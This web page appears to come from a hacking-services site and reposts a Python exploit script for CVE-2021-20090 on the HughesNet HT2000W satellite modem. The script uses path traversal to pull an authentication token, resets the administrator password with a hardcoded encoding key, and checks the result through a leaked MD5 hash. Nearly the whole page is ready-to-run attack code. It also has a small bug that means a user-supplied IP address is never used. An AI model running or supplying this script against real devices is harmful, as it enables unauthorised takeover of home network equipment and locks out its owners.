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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: HughesNet HT2000W Satellite Modem (Arcadyan httpd 1.0) - Password Reset
# Date: 7/16/24
# Exploit Author: Simon Greenblatt <simongreenblatt[at]protonmail.com>
# Vendor: HughesNet
# Version: Arcadyan httpd 1.0
# Tested on: Linux
# CVE: CVE-2021-20090

import sys
import requests
import re
import base64
import hashlib
import urllib

red = "\033[0;41m"
green = "\033[1;34;42m"
reset = "\033[0m"

def print_banner():
    print(green + '''
    _____________   _______________         _______________   ________  ____          _______________  _______  _______________    
    \_   ___ \   \ /   /\_   _____/         \_____  \   _  \  \_____  \/_   |         \_____  \   _  \ \   _  \/   __   \   _  \   
    /    \  \/\   Y   /  |    __)_   ______  /  ____/  /_\  \  /  ____/ |   |  ______  /  ____/  /_\  \/  /_\  \____    /  /_\  \  
    \     \____\     /   |        \ /_____/ /       \  \_/   \/       \ |   | /_____/ /       \  \_/   \  \_/   \ /    /\  \_/   \ 
     \______  / \___/   /_______  /         \_______ \_____  /\_______ \|___|         \_______ \_____  /\_____  //____/  \_____  / 
            \/                  \/                  \/     \/         \/                      \/     \/       \/               \/  \n''' + reset)
    print("                           Administrator password reset for HughesNet HT2000W Satellite Modem")
    print('''
    Usage: python3 hughes_ht2000w_pass_reset.py <password> <ip_address>
    <password>:   The new administrator password
    <ip_address>: The IP address of the web portal. If none is provided, the script will default to 192.168.42.1\n
    This script takes advantage of CVE-2021-20090, a path traversal vulnerability in the HTTP daemon of the HT2000W modem to reset
    the administrator password of the configuration portal. It also takes advantage of other vulnerabilities in the device such as
    improper use of httokens for authentication and the portal allowing the MD5 hash of the password to be leaked.''')
    return None

def get_httoken(ip_address):
    # Make a GET request to system_p.htm using path traversal
    r = requests.get(f'http://{ip_address}/images/..%2fsystem_p.htm')
    if r.status_code != 200:
        print(red + f"(-) Failure: Could not request system_p.htm" + reset)
        exit()
    # Extract the httoken hidden in the DOM and convert it from Base64
    return base64.b64decode(re.search(r'AAAIBRAA7(.*?)"', r.text).group(1)).decode('ascii')

def encode_pass(password):
    # Vigenere Cipher
    key = "wg7005d"
    enc_pass = ""
    idx = 0
    for c in password:
        enc_pass += str(ord(c) + ord(key[idx])) + "+"
        idx = (idx + 1) % len(key)
    return enc_pass

def change_pass(ip_address, httoken, enc_pass):
    # Create a POST request with the httoken and the encoded password
    headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Referer': f'http://{ip_address}/system_p.htm'}
    payload = {'action': 'ui_system_p', 'httoken': httoken, 'submit_button': 'system_p.htm', 'ARC_SYS_Password': enc_pass}
    payload = urllib.parse.urlencode(payload, safe=':+')
    try:
        r = requests.post(f'http://{ip_address}/images/..%2fapply_abstract.cgi', data = payload, headers = headers)
    except:
        pass
    return None

def verify_pass(ip_address, new_pass):
    # Make a GET request to cgi_sys_p.js to verify password
    httoken = get_httoken(ip_address)
    headers = {'Referer': f'http://{ip_address}/system_p.htm'}
    r = requests.get(f'http://{ip_address}/images/..%2fcgi/cgi_sys_p.js?_tn={httoken}', headers = headers)
    if r.text.split('"')[5] != hashlib.md5(bytes(new_pass, 'ascii')).hexdigest():
        print(red + "(-) Failure: Could not verify the hash of the password" + reset)
        exit()

def main():
    if not (len(sys.argv) == 2 or len(sys.argv) == 3):
        print_banner()
        return
    new_pass = sys.argv[1]
    ip_address = "192.168.42.1"
    if sys.argv == 3:
        ip_address = sys.argv[2]
    httoken = get_httoken(ip_address)
    print(f"[+] Obtained httoken: {httoken}")
    enc_pass = encode_pass(new_pass)
    change_pass(ip_address, httoken, enc_pass)
    print(f"[+] Password reset to: {new_pass}")
    verify_pass(ip_address, new_pass)
    print("[+] Verified password hash: " + hashlib.md5(bytes(new_pass, 'ascii')).hexdigest())
    print("[+] Password successfully changed!")
    return

if __name__ == '__main__':
    main()